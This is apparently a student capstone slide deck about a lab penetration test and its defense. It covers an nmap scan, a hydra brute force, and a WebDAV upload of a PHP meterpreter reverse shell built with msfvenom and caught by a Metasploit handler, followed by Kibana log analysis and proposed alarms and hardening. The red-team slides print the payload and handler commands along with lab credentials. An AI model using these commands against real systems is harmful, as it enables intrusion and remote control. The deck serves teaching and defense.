



Capstone Engagement

Assessment, Analysis, and Hardening of a Vulnerable System

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
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Network Topology

Network Topology



Network

Address Range:
192.168.1.0/24
Netmask: 255.255.255.0
Gateway: 192.168.1.1

Machines

IPv4: 192.168.1.1
OS: Windows 10
Hostname: ML-REFVM-684427

IPv4: 192.168.1.90
OS: Kali GNU/Linux 2020.1
Hostname: Kali

IPv4: 192.168.1.100
OS: Linux Ubuntu 18.04.4
Hostname: ELK

IPv4: 192.168.1.105
OS: Ubuntu 18.04.1 LTS
Hostname: server1

The background of the slide is a dark red color with a complex geometric pattern of overlapping triangles and polygons, creating a textured, crystalline effect.

Red Team Security Assessment

Recon: Describing the Target

Nmap identified the following hosts on the network:

Hostname	IP Address	Role on Network
ML-REFVM-684427	192.168.1.1	Host Machine: Used to Access the three VM's using windows Hyper-Visor.
Server1	192.168.1.105	Capstone VM: Victim machine with vulnerable web server. Sends logs to ELK VM.
ELK	192.168.1.100	ELK VM: Collects logs from both VM's and sends them to Kibana For anylization.
Kali	192.168.1.90	Kali Linux VM: Used as attacker machine sends logs to ELK VM.

Vulnerability Assessment

The assessment uncovered the following critical vulnerabilities in the target:

Vulnerability	Description	Impact
LFI Vulnerability	Local file inclusion allows a hacker to expose files that are poorly hidden and are confidential..	This vulnerability allowed us to traverse to a secret folder directory on the Capstone web server, once in that directory we are presented with a login prompt to access confidential info.
Identification and authentication failure	Allows brute force attempts, does not limit the amount of logins, and does not lock a user out for too many failed attempts.	This allowed us to bruteforce our way in to the secret directory located on the Capstone web server.
Unrestricted file upload	Allows any user that has access credentials to upload a file regardless of file contents or type.	This allowed us to upload a reverse shell to the capstone webdav server.

Exploitation: Local File Inclusion (LFI)

01

Tools & Processes

I first started by running an Nmap scan on the 192.168.1.0/24 IP range this exposed all the active IPs on this range. From there I navigated the web browser of the target machine's IP. I then navigated to the secret folder directory by directory traversal.

02

Achievements

The Capstone Web server contains employee names and info in the home directory. Then if I add “/secret_folder” to the search bar it will direct me to page the prompts me for a username and password.

03


Screen Shots

```
File Actions Edit View Help
root@kali:~# nmap -v 192.168.1.1/24
Starting Nmap 7.80 (https://nmap.org) at 2022-02-18 12:49 PST
Nmap scan report for 192.168.1.1
Host is up (0.0000000 latency).
Not shown: 995 filtered ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
2179/tcp  open  wsvcp
2180/tcp  open  ms-wbt-server
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.1.188
Host is up (0.000736 latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
2280/tcp  open  http
Service Info: OS: Linux; CPE: cpe:/o:ubuntu:ubuntu:2.0

Nmap scan report for 192.168.1.185
Host is up (0.0000000 latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.1.90
Host is up (0.0000000 latency).
Not shown: 999 closed ports
PORT      STATE SERVICE
```



Exploitation: Identification and authentication failure

01

Tools & Processes

After finding the username and password prompt I attempted a brute force attack using a hydra command to login. There was no account lockout so I could have ran the attack indefinitely. We used the wordlist rockyou.txt for the attack. Given that we had the usernames of the employees we used ashton's username in the hydra command.


02

Achievements

The brute force attack only lasted a couple of seconds before cracking the password giving us the username: ashton and password: leopoldo. After logging in, the web server presented us with instructions to login to the WebDav server using ryans account. It also gave us ryan's password hash which I used Crackstation to get the password: linux4u.

03

Screenshots



Exploitation: Unrestricted file upload

01

Tools & Processes

I navigated to file systems and entered the Webdav server using Ryan's username and password. I then uploaded a reverse shell payload to the webserver. Then I opened a listening port on kali Via Metasploit. From there I clicked on the shell from the webserver and end entered a meterpreter session on my kali.

02

Achievements

I was able to upload a reverse shell to the web server, after clicking on the shell a meterpreter session opened up on my kali machine. From there I had access to all company files in which I found the flag.

03

Screenshots (more on next slide)

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
----
LHOST 192.168.1.105 yes The IP address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
--
0 Wildcard Target

msf5 exploit(multi/handler) > set LHOST 192.168.1.105
LHOST => 192.168.1.105
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.105:4444
[*] Sending stage (3944 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.105:4444) => 192.168.1.105:35394 at 2022-02-10 16:18:22 -0800

meterpreter >

File Actions Edit View Help Shell#1

Name Size Type Last modified Name
----
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 bin
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 boot
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 dev
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 etc
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 flag.txt
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 home
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 initrd.img
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 lib
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 linux
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 lost+found
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 media
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 mnt
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 opt
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 proc
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 root
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 run
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 sbin
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 snap
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 sys
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 tmp
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 usr
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 var
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 vmlinuz
msf5/multi/handler 4096 dir 2022-02-10 12:15:17 -0700 vmlinuz.old
```

Index of /webdav

Name	Last modified	Size	Description
Parent Directory	-	-	-
index.html	2019-05-07 18:19	43	
flag.txt	2022-02-10 22:14	2K	

```
root@Kali:~# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.105 lport=4444 >> shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1114 bytes
```

```
root@Kali:~#
```

webdav - File Manager

File Edit View Go Help



dav://192.168.1.105/webdav/

Warning, you are using the root account, you may harm your system.

DEVICES



File System



Floppy Disk

PLACES



root



Desktop



Trash

NETWORK



Browse Netw...



/webdav on 1... ▲



passwd.dav



shell.php

2 items



Blue Team


Log Analysis and Attack Characterization

Analysis: Identifying the Port Scan



- The Port scan occurred at 14:45
- 1004 packets were sent from our kali IP 192.168.1.90
- We can confirm this was a port scan because multiple ports were being requested at the same time.


Top Hosts Creating Traffic (Packetbeat Flows) ECS



Analysis: Finding the Request for the Hidden Directory

- The requests also occurred at 14:46 with 9,568 requests.
- The files that were requested were `http://192.168.1.105/company_folder/secret_folder`, `http://192.168.1.105/company_folder/webdav`, `http://192.168.1.105/webdav/shell.php`

Connections over time [Packetbeat Flows] ECS



Top 10 HTTP requests [Packetbeat] ECS

url.full: Descending	Count
http://192.168.1.105/company_folders/secret_folder	6,961
http://192.168.1.105/webdav	14
http://192.168.1.105/webdav/	8
http://192.168.1.105/webdav/shell.php	6
http://192.168.1.105/company_folders/secret_folder/	5

Analysis: Uncovering the Brute Force Attack

- 6,966 requests were made, so that means 6,961 failed login attempts before hydra successfully cracked the login.
- We can tell this is a brute force attack by the large number of requests in a short period of time.

Top 10 HTTP requests [Packetbeat] ECS

url.full: Descending ▾	Count ▾
http://192.168.1.105/company_folders/secret_folder	6,961
http://192.168.1.105/webdav	14
http://192.168.1.105/webdav/	8
http://192.168.1.105/webdav/shell.php	6
http://192.168.1.105/company_folders/secret_folder/	5

Export: [Raw](#) [Formatted](#)

```
server.ip      192.168.1.105
# server.port  80
# source.bytes 163B
source.ip      192.168.1.90
# source.port  42000
status        Error
type          http
url.domain     192.168.1.105
url.full       http://192.168.1.105/company_folders/secret_folder
url.path       /company_folders/secret_folder
url.scheme     http
user_agent.original Mozilla/4.0 (Hydra)
```

Analysis: Finding the WebDAV Connection

- 30 requests were made to the WebDav directory
- The files that were requested were the /webdav, and /shell.php

Top 10 HTTP requests [Packetbeat] ECS

url.full: Descending ▾	Count ▾
http://192.168.1.105/company_folders/secret_folder	6,961
http://192.168.1.105/webdav	14
http://192.168.1.105/webdav/	8
http://192.168.1.105/webdav/shell.php	6
http://192.168.1.105/company_folders/secret_folder/	5

Export: Raw  Formatted 



Blue Team

Proposed Alarms and Mitigation Strategies

Mitigation: Blocking the Port Scan

Alarm

An alert can be set to alert the manager or a designated employee via email or any other method. The alert can be set off when more than one port are being requested by the same IP in the same period of time. The threshold can be no more than 10 ports requested within 5 seconds from one IP before the alert gets set off. Other tools and software can also be used to block port scans.

System Hardening

The first thing that should be done on any system regardless of the issue is that all ports that are not being used get closed. Only the ports that are needed can stay open. I would also recommend Disabling ICMP (Internet Control Message Protocol). Once this is done, the host won't return information regarding pings or open ports and connectivity info. IPs that are detected attempting scans can also be blocked.

Mitigation: Finding the Request for the Hidden Directory

Alarm

An alert can be set to go off when a non authorized IP attempts to access the private directory. The threshold would be when an IP that is not on the network or the whitelist, then it would send an alert.

System Hardening

My recommendation would be to not leave classified information on a public server like a webserver. No matter how hard you hide it there is always a chance that it can be exploited. The best practice would be to have classified info on a private server that is only accessible by authorized personnel via Two-factor Authentication.

Mitigation: Preventing Brute Force Attacks

Alarm

The alert can be set up so that whenever there is many failed login requests from the same source IP, an alert is sent to a designated person. The threshold will depend per case, however in our case more than 10 failed logins per minute per IP should set off an alarm.

System Hardening

System progressive lockout should be employed so that Brute force attempts are immediately stopped before they can continue. If for example after 5 failed logins the account is locked out for 5 or 10 minutes the attacker will just move on and won't be able to continue the attack. I would also recommend mandating strong usernames and passwords and changing them quarterly. Two-factor Authentication can also be used for maximum security.

Mitigation: Detecting the WebDAV Connection

Alarm

An alert should be sent to a designated person if WebDav is attempting to be accessed by any IP outside of the company network unless authorized. The threshold would simply be any IP that is outside the network or the white listed IPs.

System Hardening

No IP should be allowed to access WebDav and any attempt from an IP outside of the network or whitelist should be immediately blocked. All authorized personnel that have access to WebDav are only allowed to login via Two-Factor Authentication.

Mitigation: Identifying Reverse Shell Uploads

Alarm

Given that the alerts I recommended in the previous step are put in place, the only risk would be from the employees that are authorized to access WebDav. Whether they attempt to upload a malicious file knowingly or accidentally, any file that is uploaded would set off an alert. If files are uploaded on a regular basis then only files that contain scripts or executable files should set off an alert.

System Hardening

If uploading files is not a daily activity all employees do then they should not be given access to upload files, except certain individuals with extra privileges or by authorization, preferably going through one person. Malicious file detecting software can also be used to block any file that is malicious from being uploaded.

*The
End*